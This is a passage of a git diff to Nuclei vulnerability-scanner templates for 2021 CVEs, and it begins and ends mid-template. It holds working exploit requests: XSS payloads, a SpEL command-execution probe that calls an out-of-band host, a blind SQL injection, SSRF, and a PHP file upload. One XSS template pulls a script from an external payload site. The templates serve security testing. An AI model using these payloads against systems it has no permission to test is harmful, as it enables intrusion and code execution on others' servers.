parameter - Reflected Cross-Site Scripting (XSS) - author: gy741 - severity: medium - description: This vulnerability is present in device_graph_page.php script, which is a part of the Advantech R-SeeNet web applications. A specially crafted URL by an attacker and visited by a victim can lead to arbitrary JavaScript code execution. - reference: https://talosintelligence.com/vulnerability_reports/TALOS-2021-1272 - tags: cve,cve2021,r-seenet,xss - -requests: - - method: GET - path: - - '{{BaseURL}}/php/device_graph_page.php?graph=%22zlo%20onerror=alert(1)%20%22' - - matchers-condition: and - matchers: - - type: word - words: - - '"zlo onerror=alert(1) "' - - 'Device Status Graph' - part: body - condition: and - - - type: word - part: header - words: - - text/html - - - type: status - status: - - 200 diff --git a/nuclei-templates/CVE-2021/CVE-2021-21802.yaml b/nuclei-templates/CVE-2021/CVE-2021-21802.yaml new file mode 100644 index 0000000000..a3eeb5f61e --- /dev/null +++ b/nuclei-templates/CVE-2021/CVE-2021-21802.yaml @@ -0,0 +1,32 @@ +id: CVE-2021-21802 + +info: + name: Advantech R-SeeNet device_id parameter - Reflected Cross-Site Scripting (XSS) + author: gy741 + severity: medium + description: This vulnerability is present in device_graph_page.php script, which is a part of the Advantech R-SeeNet web applications. A specially crafted URL by an attacker and visited by a victim can lead to arbitrary JavaScript code execution. + reference: https://talosintelligence.com/vulnerability_reports/TALOS-2021-1272 + tags: cve,cve2021,r-seenet,xss + +requests: + - method: GET + path: + - '{{BaseURL}}/php/device_graph_page.php?device_id=%22zlo%20onerror=alert(1)%20%22' + + matchers-condition: and + matchers: + - type: word + words: + - '"zlo onerror=alert(1) "' + - 'Device Status Graph' + part: body + condition: and + + - type: word + part: header + words: + - text/html + + - type: status + status: + - 200 diff --git a/nuclei-templates/CVE-2021/CVE-2021-22005.yaml b/nuclei-templates/CVE-2021/CVE-2021-22005.yaml deleted file mode 100644 index 2cca00890e..0000000000 --- a/nuclei-templates/CVE-2021/CVE-2021-22005.yaml +++ /dev/null @@ -1,46 +0,0 @@ -id: CVE-2021-22005 - -info: - name: VMware vCenter Server - Arbitrary File Upload - author: PR3R00T - severity: critical - description: VMware vCenter Server contains an arbitrary file upload vulnerability in the Analytics service. A malicious actor with network access to port 443 on vCenter Server may exploit this issue to execute code on vCenter Server by uploading a specially crafted file. - reference: - - https://kb.vmware.com/s/article/85717 - - https://www.vmware.com/security/advisories/VMSA-2021-0020.html - - https://core.vmware.com/vmsa-2021-0020-questions-answers-faq - - https://nvd.nist.gov/vuln/detail/CVE-2021-22005 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2021-22005 - cwe-id: CWE-434 - epss-score: 0.97434 - tags: cve,cve2021,vmware,vcenter,fileupload,kev,intrusive - metadata: - max-request: 2 - -http: - - raw: - - | - GET / HTTP/1.1 - Host: {{Hostname}} - - - | - POST /analytics/telemetry/ph/api/hyper/send?_c&_i=test HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/json - - test_data - - req-condition: true - matchers: - - type: dsl - dsl: - - "status_code_1 == 200" - - "status_code_2 == 201" - - "contains(body_1, 'VMware vSphere')" - - "content_length_2 == 0" - condition: and - -# Enhanced by mp on 2022/05/05 diff --git a/nuclei-templates/CVE-2021/CVE-2021-22053.yaml b/nuclei-templates/CVE-2021/CVE-2021-22053.yaml new file mode 100644 index 0000000000..b23745dd0e --- /dev/null +++ b/nuclei-templates/CVE-2021/CVE-2021-22053.yaml @@ -0,0 +1,41 @@ +id: CVE-2021-22053 + +info: + name: Spring Cloud Netflix Hystrix Dashboard <2.2.10 - Remote Code Execution + author: forgedhallpass + severity: high + description: | + Spring Cloud Netflix Hystrix Dashboard prior to version 2.2.10 is susceptible to remote code execution. Applications using both `spring-cloud-netflix-hystrix-dashboard` and `spring-boot-starter-thymeleaf` expose a way to execute code submitted within the request URI path during the resolution of view templates. When a request is made at `/hystrix/monitor;[user-provided data]`, the path elements following `hystrix/monitor` are being evaluated as SpringEL expressions, which can lead to code execution. + reference: + - https://github.com/SecCoder-Security-Lab/spring-cloud-netflix-hystrix-dashboard-cve-2021-22053 + - https://tanzu.vmware.com/security/cve-2021-22053 + - https://nvd.nist.gov/vuln/detail/CVE-2021-22053 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H + cvss-score: 8.8 + cve-id: CVE-2021-22053 + cwe-id: CWE-94 + cpe: cpe:2.3:a:vmware:spring_cloud_netflix:*:*:*:*:*:*:*:* + epss-score: 0.80689 + tags: rce,spring,cve,cve2021 + metadata: + max-request: 1 + +http: + - method: GET + path: + - '{{BaseURL}}/hystrix/;a=a/__${T (java.lang.Runtime).getRuntime().exec("nslookup {{interactsh-url}}")}__::.x/' + + matchers-condition: and + matchers: + + - type: word + part: interactsh_protocol + words: + - "dns" + + - type: status + status: + - 500 + +# Enhanced by mp on 2022/06/27 diff --git a/nuclei-templates/CVE-2021/CVE-2021-22054.yaml b/nuclei-templates/CVE-2021/CVE-2021-22054.yaml new file mode 100644 index 0000000000..1599beb9ec --- /dev/null +++ b/nuclei-templates/CVE-2021/CVE-2021-22054.yaml @@ -0,0 +1,32 @@ +id: CVE-2021-22054 +info: + name: VMWare Workspace ONE UEM - Server-Side Request Forgery + author: h1ei1 + severity: high + description: VMware Workspace ONE UEM console 20.0.8 prior to 20.0.8.37, 20.11.0 prior to 20.11.0.40, 21.2.0 prior to 21.2.0.27, and 21.5.0 prior to 21.5.0.37 contain a server-side request forgery vulnerability. This issue may allow a malicious actor with network access to UEM to send their requests without authentication and to gain access to sensitive information. + reference: + - https://blog.assetnote.io/2022/04/27/vmware-workspace-one-uem-ssrf/ + - https://www.vmware.com/security/advisories/VMSA-2021-0029.html + - https://nvd.nist.gov/vuln/detail/CVE-2021-22054 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2021-22054 + cwe-id: CWE-918 + metadata: + fofa-query: banner="/AirWatch/default.aspx" || header="/AirWatch/default.aspx" + tags: cve,cve2021,vmware,workspace,ssrf +requests: + - method: GET + path: + - "{{BaseURL}}/Catalog/BlobHandler.ashx?Url=YQB3AGUAdgAyADoAawB2ADAAOgB4AGwAawBiAEoAbwB5AGMAVwB0AFEAMwB6ADMAbABLADoARQBKAGYAYgBHAE4ATgBDADUARQBBAG0AZQBZAE4AUwBiAFoAVgBZAHYAZwBEAHYAdQBKAFgATQArAFUATQBkAGcAZAByAGMAMgByAEUAQwByAGIAcgBmAFQAVgB3AD0A" + matchers-condition: and + matchers: + - type: word + words: + - "Interactsh Server" + - type: status + status: + - 200 + +# Enhanced by mp on 2022/06/27 diff --git a/nuclei-templates/CVE-2021/CVE-2021-22122.yaml b/nuclei-templates/CVE-2021/CVE-2021-22122.yaml new file mode 100644 index 0000000000..213b811b3d --- /dev/null +++ b/nuclei-templates/CVE-2021/CVE-2021-22122.yaml @@ -0,0 +1,34 @@ +id: CVE-2021-22122 + +info: + name: FortiWeb v6.3.x-6.2.x Unauthenticated XSS + author: dwisiswant0 + severity: medium + description: An improper neutralization of input during web page generation in FortiWeb GUI interface 6.3.0 through 6.3.7 and version before 6.2.4 may allow an unauthenticated, remote attacker to perform a reflected cross site scripting attack (XSS) by injecting malicious payload in different vulnerable API end-points. + reference: | + - https://www.fortiguard.com/psirt/FG-IR-20-122 + - https://twitter.com/ptswarm/status/1357316793753362433 + + tags: cve,cve2021,fortiweb,xss + + # FortiWeb GUI interface may allow an unauthenticated, remote attacker + # to perform a reflected cross site scripting attack (XSS) by injecting + # malicious payload in different vulnerable API end-points. + # - + # References: + # - https://www.fortiguard.com/psirt/FG-IR-20-122 + # - https://twitter.com/ptswarm/status/1357316793753362433 + +requests: + - method: GET + path: + - "{{BaseURL}}/error3?msg=30&data=';alert('nuclei');//" + - "{{BaseURL}}/omni_success?cmdb_edit_path=\");alert('nuclei');//" + matchers-condition: and + matchers: + - type: word + words: + - "nuclei" + - "No policy has been chosen." + condition: and + part: body diff --git a/nuclei-templates/CVE-2021/CVE-2021-22145.yaml b/nuclei-templates/CVE-2021/CVE-2021-22145.yaml new file mode 100644 index 0000000000..0ad2b169da --- /dev/null +++ b/nuclei-templates/CVE-2021/CVE-2021-22145.yaml @@ -0,0 +1,47 @@ +id: CVE-2021-22145 + +info: + name: Elasticsearch 7.10.0-7.13.3 - Information Disclosure + author: dhiyaneshDk + severity: medium + description: ElasticSsarch 7.10.0 to 7.13.3 is susceptible to information disclosure. A user with the ability to submit arbitrary queries can submit a malformed query that results in an error message containing previously used portions of a data buffer. This buffer can contain sensitive information such as Elasticsearch documents or authentication details, thus potentially leading to data modification and/or execution of unauthorized operations. + reference: + - https://github.com/jaeles-project/jaeles-signatures/blob/e9595197c80521d64e31b846808095dd07c407e9/cves/elasctic-memory-leak-cve-2021-22145.yaml + - https://packetstormsecurity.com/files/163648/ElasticSearch-7.13.3-Memory-Disclosure.html + - https://discuss.elastic.co/t/elasticsearch-7-13-4-security-update/279177 + - https://nvd.nist.gov/vuln/detail/CVE-2021-22145 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N + cvss-score: 6.5 + cve-id: CVE-2021-22145 + cwe-id: CWE-209 + epss-score: 0.26644 + tags: cve,cve2021,elasticsearch,packetstorm + metadata: + max-request: 1 + +http: + - method: POST + path: + - '{{BaseURL}}/_bulk' + headers: + Content-Type: application/json + body: | + @ + + matchers-condition: and + matchers: + + - type: word + words: + - 'root_cause' + - 'truncated' + - 'reason' + part: body + condition: and + + - type: status + status: + - 400 + +# Enhanced by md on 2023/04/04 diff --git a/nuclei-templates/CVE-2021/CVE-2021-24236.yaml b/nuclei-templates/CVE-2021/CVE-2021-24236.yaml new file mode 100644 index 0000000000..cc0cd70f13 --- /dev/null +++ b/nuclei-templates/CVE-2021/CVE-2021-24236.yaml @@ -0,0 +1,80 @@ +id: CVE-2021-24236 +info: + name: WordPress Plugin Imagements 1.2.5 - Unauthenticated Arbitrary File Upload + author: pussycat0x + severity: critical + description: | + The Imagements WordPress plugin through 1.2.5 allows images to be uploaded in comments, however only checks for the Content-Type in the request to forbid dangerous files. This allows unauthenticated attackers to upload arbitrary files by using a valid image Content-Type along with a PHP filename and code, leading to RCE. + reference: + - https://wpscan.com/vulnerability/8f24e74f-60e3-4100-9ab2-ec31b9c9cdea + - https://wordpress.org/plugins/imagements/ + - https://nvd.nist.gov/vuln/detail/CVE-2021-24236 + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-24236 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2021-24236 + cwe-id: CWE-434 + tags: cve,cve2021,upload,rce,wordpress,wp-plugin,imagements,wp,unauth +variables: + php: "{{to_lower('{{randstr}}')}}.php" + post: "1" +requests: + - raw: + - | + POST /wp-comments-post.php HTTP/1.1 + Host: {{Hostname}} + Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryIYl2Oz8ptq5OMtbU + + ------WebKitFormBoundaryIYl2Oz8ptq5OMtbU + Content-Disposition: form-data; name="comment" + + {{randstr}} + ------WebKitFormBoundaryIYl2Oz8ptq5OMtbU + Content-Disposition: form-data; name="author" + + {{randstr}} + ------WebKitFormBoundaryIYl2Oz8ptq5OMtbU + Content-Disposition: form-data; name="email" + + {{randstr}}@email.com + ------WebKitFormBoundaryIYl2Oz8ptq5OMtbU + Content-Disposition: form-data; name="url" + + + ------WebKitFormBoundaryIYl2Oz8ptq5OMtbU + Content-Disposition: form-data; name="checkbox" + + yes + ------WebKitFormBoundaryIYl2Oz8ptq5OMtbU + Content-Disposition: form-data; name="naam" + + {{randstr}} + ------WebKitFormBoundaryIYl2Oz8ptq5OMtbU + Content-Disposition: form-data; name="image"; filename="{{php}}" + Content-Type: image/jpeg + + + + ------WebKitFormBoundaryIYl2Oz8ptq5OMtbU + Content-Disposition: form-data; name="submit" + + Post Comment + ------WebKitFormBoundaryIYl2Oz8ptq5OMtbU + Content-Disposition: form-data; name="comment_post_ID" + + {{post}} + ------WebKitFormBoundaryIYl2Oz8ptq5OMtbU + Content-Disposition: form-data; name="comment_parent" + + 0 + ------WebKitFormBoundaryIYl2Oz8ptq5OMtbU-- + - | + GET /wp-content/plugins/imagements/images/{{php}} HTTP/1.1 + Host: {{Hostname}} + req-condition: true + matchers: + - type: word + part: body_2 + words: + - "CVE-2021-24236" diff --git a/nuclei-templates/CVE-2021/cve-2021-24275.yaml b/nuclei-templates/CVE-2021/CVE-2021-24275.yaml similarity index 100% rename from nuclei-templates/CVE-2021/cve-2021-24275.yaml rename to nuclei-templates/CVE-2021/CVE-2021-24275.yaml diff --git a/nuclei-templates/CVE-2021/CVE-2021-24278.yaml b/nuclei-templates/CVE-2021/CVE-2021-24278.yaml deleted file mode 100644 index 51e12fdb60..0000000000 --- a/nuclei-templates/CVE-2021/CVE-2021-24278.yaml +++ /dev/null @@ -1,46 +0,0 @@ -id: CVE-2021-24278 - -info: - name: Redirection for Contact Form 7 < 2.3.4 - Unauthenticated Arbitrary Nonce Generation - author: 2rs3c - severity: high - description: In the Redirection for Contact Form 7 WordPress plugin before 2.3.4, unauthenticated users can use the wpcf7r_get_nonce AJAX action to retrieve a valid nonce for any WordPress action/function. - reference: - - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-24278 - - https://wpscan.com/vulnerability/99f30604-d62b-4e30-afcd-b482f8d66413 - - https://www.wordfence.com/blog/2021/04/severe-vulnerabilities-patched-in-redirection-for-contact-form-7-plugin/ - tags: cve,cve2021,wordpress,wp-plugin - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 - cve-id: CVE-2021-24278 - -requests: - - method: POST - path: - - "{{BaseURL}}/wp-admin/admin-ajax.php" - - headers: - Content-Type: application/x-www-form-urlencoded - - body: "action=wpcf7r_get_nonce¶m=wp_rest" - - matchers-condition: and - matchers: - - - type: status - status: - - 200 - - - type: regex - part: body - regex: - - '"success":true' - - '"nonce":"[a-f0-9]+"' - condition: and - - extractors: - - type: regex - part: body - regex: - - '"nonce":"[a-f0-9]+"' \ No newline at end of file diff --git a/nuclei-templates/CVE-2021/CVE-2021-24298.yaml b/nuclei-templates/CVE-2021/CVE-2021-24298.yaml deleted file mode 100644 index a476389cb0..0000000000 --- a/nuclei-templates/CVE-2021/CVE-2021-24298.yaml +++ /dev/null @@ -1,38 +0,0 @@ -id: CVE-2021-24298 - -info: - name: Simple Giveaways < 2.36.2 - Reflected Cross-Site Scripting (XSS) - author: daffainfo - severity: medium - description: The method and share GET parameters of the Giveaway pages were not sanitised, validated or escaped before being output back in the pages, thus leading to reflected XSS - reference: - - https://nvd.nist.gov/vuln/detail/CVE-2021-24298 - - https://codevigilant.com/disclosure/2021/wp-plugin-giveasap-xss/ - - https://wpscan.com/vulnerability/30aebded-3eb3-4dda-90b5-12de5e622c91 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 - cve-id: CVE-2021-24298 - cwe-id: CWE-79 - tags: cve,cve2021,wordpress,xss,wp-plugin - -requests: - - method: GET - path: - - '{{BaseURL}}/giveaway/mygiveaways/?share=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E' - - matchers-condition: and - matchers: - - type: word - words: - - "" - part: body - - - type: word - part: header - words: - - text/html - - - type: status - status: - - 200 diff --git a/nuclei-templates/CVE-2021/CVE-2021-24300.yaml b/nuclei-templates/CVE-2021/CVE-2021-24300.yaml deleted file mode 100644 index 04d0926f66..0000000000 --- a/nuclei-templates/CVE-2021/CVE-2021-24300.yaml +++ /dev/null @@ -1,44 +0,0 @@ -id: CVE-2021-24300 -info: - name: PickPlugins Product Slider for WooCommerce < 1.13.22 - XSS - author: cckuailong - severity: medium - description: The slider import search feature of the PickPlugins Product Slider for WooCommerce WordPress plugin before 1.13.22 did not properly sanitised the keyword GET parameter, leading to reflected Cross-Site Scripting issue. - reference: - - https://wpscan.com/vulnerability/5fbbc7ad-3f1a-48a1-b2eb-e57f153eb837 - - https://nvd.nist.gov/vuln/detail/CVE-2021-24300 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 - cve-id: CVE-2021-24300 - cwe-id: CWE-79 - tags: cve,cve2021,xss,wp,wordpress,wp-plugin,authenticated -requests: - - raw: - - | - POST /wp-login.php HTTP/1.1 - Host: {{Hostname}} - Origin: {{RootURL}} - Content-Type: application/x-www-form-urlencoded - Cookie: wordpress_test_cookie=WP%20Cookie%20check - - log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1 - - | - GET /wp-admin/edit.php?post_type=wcps&page=import_layouts&keyword="onmouseover%3Dalert%28document.domain%29%3B%2F%2F HTTP/1.1 - Host: {{Hostname}} - cookie-reuse: true - matchers-condition: and - matchers: - - type: word - part: body - words: - - 'value="\"onmouseover=alert(document.domain);//">' - - "PickPlugins Product Slider" - condition: and - - type: word - part: header - words: - - text/html - - type: status - status: - - 200 diff --git a/nuclei-templates/CVE-2021/CVE-2021-24316.yaml b/nuclei-templates/CVE-2021/CVE-2021-24316.yaml new file mode 100644 index 0000000000..9523dbbcab --- /dev/null +++ b/nuclei-templates/CVE-2021/CVE-2021-24316.yaml @@ -0,0 +1,32 @@ +id: CVE-2021-24316 + +info: + author: 0x_Akoko + description: Mediumish WordPress Theme <= 1.0.47 - Unauthenticated Reflected XSS & XFS. + name: An Unauthenticated Reflected XSS & XFS Mediumish theme through 1.0.47 for WordPress + severity: medium + tags: Mediumish,xss,wordpress + reference: | + - https://vulmon.com/vulnerabilitydetails?qid=CVE-2021-24316 + +requests: + - method: GET + path: + ## you can edit this js file with your custom js. //m0ze.ru/payload/a2r.js decode it (base64) with your own. + - '{{BaseURL}}/?post_type=post&s=%22%3E%3Cscript+src%3Dhttps%3A%2F%2Fm0ze.ru%2Fpayload%2Fa2r.js%3E%3C%2Fscript%3E' + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "" + part: body + + - type: word + words: + - "text/html" + part: header diff --git a/nuclei-templates/CVE-2021/cve-2021-24320.yaml b/nuclei-templates/CVE-2021/CVE-2021-24320.yaml similarity index 100% rename from nuclei-templates/CVE-2021/cve-2021-24320.yaml rename to nuclei-templates/CVE-2021/CVE-2021-24320.yaml diff --git a/nuclei-templates/CVE-2021/CVE-2021-24340.yaml b/nuclei-templates/CVE-2021/CVE-2021-24340.yaml deleted file mode 100644 index 0f6578244b..0000000000 --- a/nuclei-templates/CVE-2021/CVE-2021-24340.yaml +++ /dev/null @@ -1,33 +0,0 @@ -id: CVE-2021-24340 - -info: - name: WordPress Plugin WP Statistics 13.0-.7 - Unauthenticated Time-Based Blind SQL Injection - author: lotusdll - severity: critical - description: The WP Statistic WordPress plugin was affected by an Unauthenticated Time-Based Blind SQL Injection security vulnerability. - reference: | - - https://www.exploit-db.com/exploits/49894 - - https://www.wordfence.com/blog/2021/05/over-600000-sites-impacted-by-wp-statistics-patch/ - - https://github.com/Udyz/WP-Statistics-BlindSQL - tags: cve,cve2021,wordpress,wp-plugin,unauth,sqli,blind - -requests: - - method: GET - path: - - '{{BaseURL}}/wp-content/plugins/wp-statistics/readme.txt' - - matchers-condition: and - matchers: - - type: status - status: - - 200 - - - type: word - words: - - "WP Statistics" - part: body - - - type: regex - regex: - - 'Stable tag\: [1][3]\.[0].([1]|[2]|[3]|[4]|[5]|[6]|[7])|[1][3]\.[0]$' - part: body diff --git a/nuclei-templates/CVE-2021/cve-2021-24342.yaml b/nuclei-templates/CVE-2021/CVE-2021-24342.yaml similarity index 100% rename from nuclei-templates/CVE-2021/cve-2021-24342.yaml rename to nuclei-templates/CVE-2021/CVE-2021-24342.yaml diff --git a/nuclei-templates/CVE-2021/CVE-2021-24406.yaml b/nuclei-templates/CVE-2021/CVE-2021-24406.yaml deleted file mode 100644 index 3eab806058..0000000000 --- a/nuclei-templates/CVE-2021/CVE-2021-24406.yaml +++ /dev/null @@ -1,30 +0,0 @@ -id: CVE-2021-24406 - -info: - name: WordPress wpForo Forum < 1.9.7 - Open Redirect - author: 0x_Akoko - severity: medium - description: WordPress wpForo Forum < 1.9.7 is susceptible to an open redirect vulnerability because the plugin did not validate the redirect_to parameter in the login form of the forum, leading to an open redirect - issue after a successful login. - reference: - - https://wpscan.com/vulnerability/a9284931-555b-4c96-86a3-09e1040b0388 - - https://nvd.nist.gov/vuln/detail/CVE-2021-24406 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 - cve-id: CVE-2021-24406 - cwe-id: CWE-601 - tags: wordpress,redirect,cve,cve2021 - -requests: - - method: GET - path: - - "{{BaseURL}}/community/?foro=signin&redirect_to=https://example.com/" - - matchers: - - type: regex - regex: - - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_\.@]*)example\.com.*$' - part: header - -# Enhanced by mp on 2022/04/13 diff --git a/nuclei-templates/CVE-2021/CVE-2021-24472.yaml b/nuclei-templates/CVE-2021/CVE-2021-24472.yaml deleted file mode 100644 index 9bbf1caed5..0000000000 --- a/nuclei-templates/CVE-2021/CVE-2021-24472.yaml +++ /dev/null @@ -1,36 +0,0 @@ -id: CVE-2021-24472 - -info: - name: Onair2 < 3.9.9.2 & KenthaRadio < 2.0.2 - Remote File Inclusion/Server-Side Request Forgery - author: Suman_Kar - severity: critical - description: Onair2 < 3.9.9.2 and KenthaRadio < 2.0.2 have exposed proxy functionality to unauthenticated users. Sending requests to this proxy functionality will have the web server fetch and display the content from any URI, allowing remote file inclusion and server-side request forgery. - reference: - - https://wpscan.com/vulnerability/17591ac5-88fa-4cae-a61a-4dcf5dc0b72a - - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-24472 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2021-24472 - cwe-id: CWE-918 - tags: cve,cve2021,wordpress,lfi,ssrf,oast - -requests: - - raw: - - | - GET /?qtproxycall=http://{{interactsh-url}} HTTP/1.1 - Host: {{Hostname}} - Origin: {{BaseURL}} - - matchers-condition: and - matchers: - - type: word - part: interactsh_protocol # Confirms the HTTP Interaction - words: - - "http" - - - type: status - status: - - 200 - -# Enhanced by mp on 2022/05/05 diff --git a/nuclei-templates/CVE-2021/CVE-2021-24510.yaml b/nuclei-templates/CVE-2021/CVE-2021-24510.yaml deleted file mode 100644 index bb4e6305f1..0000000000 --- a/nuclei-templates/CVE-2021/CVE-2021-24510.yaml +++ /dev/null @@ -1,60 +0,0 @@ -id: CVE-2021-24510 - -info: - name: WordPress MF Gig Calendar <=1.1 - Cross-Site Scripting - author: dhiyaneshDK - severity: medium - description: WordPress MF Gig Calendar plugin 1.1 and prior contains a reflected cross-site scripting vulnerability. It does not sanitize or escape the id GET parameter before outputting back in the admin dashboard when editing an event. - impact: | - Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, leading to potential data theft, session hijacking, or defacement. - remediation: | - Update to the latest version of WordPress MF Gig Calendar plugin (>=1.2) which includes proper input sanitization and validation. - reference: - - https://wpscan.com/vulnerability/715721b0-13a1-413a-864d-2380f38ecd39 - - https://nvd.nist.gov/vuln/detail/CVE-2021-24510 - - https://github.com/ARPSyndicate/kenzer-templates - - https://github.com/ARPSyndicate/cvemon - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 - cve-id: CVE-2021-24510 - cwe-id: CWE-79 - epss-score: 0.00143 - epss-percentile: 0.50097 - cpe: cpe:2.3:a:mf_gig_calendar_project:mf_gig_calendar:*:*:*:*:wordpress:*:*:* - metadata: - max-request: 2 - vendor: mf_gig_calendar_project - product: mf_gig_calendar - tags: cve2021,cve,wp-plugin,authenticated,wpscan,wordpress,mf_gig_calendar_project - -http: - - raw: - - | - POST /wp-login.php HTTP/1.1 - Host: {{Hostname}} - Origin: {{RootURL}} - Content-Type: application/x-www-form-urlencoded - Cookie: wordpress_test_cookie=WP%20Cookie%20check - - log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1 - - | - GET /wp-admin/admin.php?page=mf_gig_calendar&action=edit&id="><" HTTP/1.1 - Host: {{Hostname}} - - matchers-condition: and - matchers: - - type: word - part: body - words: - - '' - - - type: word - part: header - words: - - "text/html" - - - type: status - status: - - 200 -# digest: 4a0a00473045022058dc77da6c8d24825cb047a3e8c3ebf81009329a2e76774ba7c0057029c91916022100e648680bb6ce6d636b0d7ec9f0cd812776cc4617bf039cc8bac7d00b1ae026d9:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2021/CVE-2021-24746.yaml b/nuclei-templates/CVE-2021/CVE-2021-24746.yaml new file mode 100644 index 0000000000..e70a4f07bc --- /dev/null +++ b/nuclei-templates/CVE-2021/CVE-2021-24746.yaml @@ -0,0 +1,65 @@ +id: CVE-2021-24746 + +info: + name: WordPress Sassy Social Share Plugin <3.3.40 - Cross-Site Scripting + author: Supras + severity: medium + description: WordPress plugin Sassy Social Share < 3.3.40 contains a reflected cross-site scripting vulnerability. + impact: | + Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, leading to potential data theft, session hijacking, or defacement. + remediation: | + Update the WordPress Sassy Social Share Plugin to version 3.3.40 or later to mitigate the vulnerability. + reference: + - https://wpscan.com/vulnerability/99f4fb32-e312-4059-adaf-f4cbaa92d4fa + - https://nvd.nist.gov/vuln/detail/CVE-2021-24746 + - https://github.com/ARPSyndicate/kenzer-templates + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2021-24746 + cwe-id: CWE-79 + epss-score: 0.00106 + epss-percentile: 0.42122 + cpe: cpe:2.3:a:heateor:sassy_social_share:*:*:*:*:*:wordpress:*:* + metadata: + max-request: 2 + vendor: heateor + product: sassy_social_share + framework: wordpress + google-query: inurl:"/wp-content/plugins/sassy-social-share" + tags: cve,cve2021,wordpress,wp-plugin,xss,wp,wpscan,heateor + +http: + - method: GET + path: + - "{{BaseURL}}/wp-json/wp/v2/posts" + - "{{BaseURL}}/{{slug}}/?a"><script>alert(document.domain)</script>" + + host-redirects: true + max-redirects: 2 + + matchers-condition: and + matchers: + - type: word + part: body + words: + - '?a">' + + - type: word + part: header + words: + - text/html + + - type: status + status: + - 200 + + extractors: + - type: regex + name: slug + group: 1 + regex: + - '"slug":"([_a-z-A-Z0-9]+)",' + internal: true + part: body +# digest: 4a0a0047304502200993a9a2953aa772460c25d771fb5bc7793c9f97df213694a924f140c82564c2022100ee73b7aa4e200224d68aa207881162ef141bd75466b4b8a9c7973eb4706c3839:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2021/CVE-2021-24762.yaml b/nuclei-templates/CVE-2021/CVE-2021-24762.yaml new file mode 100644 index 0000000000..38901f4239 --- /dev/null +++ b/nuclei-templates/CVE-2021/CVE-2021-24762.yaml @@ -0,0 +1,54 @@ +id: CVE-2021-24762 + +info: + name: WordPress Perfect Survey <1.5.2 - SQL Injection + author: cckuailong + severity: critical + description: | + Perfect Survey WordPress plugin before 1.5.2 does not validate and escape the question_id GET parameter before using it in a SQL statement in the get_question AJAX action, allowing unauthenticated users to perform SQL injection. + impact: | + Successful exploitation of this vulnerability could lead to unauthorized access to the WordPress database. + remediation: | + Update to the latest version of the WordPress Perfect Survey plugin (1.5.2) to mitigate the SQL Injection vulnerability. + reference: + - https://www.exploit-db.com/exploits/50766 + - https://github.com/cckuailong/reapoc/tree/main/2021/CVE-2021-24762/vultarget + - https://wpscan.com/vulnerability/c1620905-7c31-4e62-80f5-1d9635be11ad + - https://nvd.nist.gov/vuln/detail/CVE-2021-24762 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2021-24762 + cwe-id: CWE-89 + epss-score: 0.33888 + epss-percentile: 0.96671 + cpe: cpe:2.3:a:getperfectsurvey:perfect_survey:*:*:*:*:*:wordpress:*:* + metadata: + max-request: 1 + vendor: getperfectsurvey + product: perfect_survey + framework: wordpress + tags: cve2021,cve,wpscan,sqli,wp,wordpress,wp-plugin,edb,getperfectsurvey + +http: + - raw: + - | + @timeout: 15s + GET /wp-admin/admin-ajax.php?action=get_question&question_id=1%20AND%20(SELECT%207242%20FROM%20(SELECT(SLEEP(7)))HQYx) HTTP/1.1 + Host: {{Hostname}} + + matchers-condition: and + matchers: + - type: dsl + dsl: + - 'duration>=7' + + - type: word + part: header + words: + - "wp-ps-session" + + - type: status + status: + - 404 +# digest: 4b0a0048304602210088b2f8641efb17289d0c9fa1e0fc57697b83b89f2c710a54603d6e0536009441022100c2ca459924277032aeae17d881fd19c80a6e3501bb3ff5be948390480bec353d:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2021/CVE-2021-24926.yaml b/nuclei-templates/CVE-2021/CVE-2021-24926.yaml deleted file mode 100644 index 8e4826b49b..0000000000 --- a/nuclei-templates/CVE-2021/CVE-2021-24926.yaml +++ /dev/null @@ -1,56 +0,0 @@ -id: CVE-2021-24926 - -info: - name: WordPress 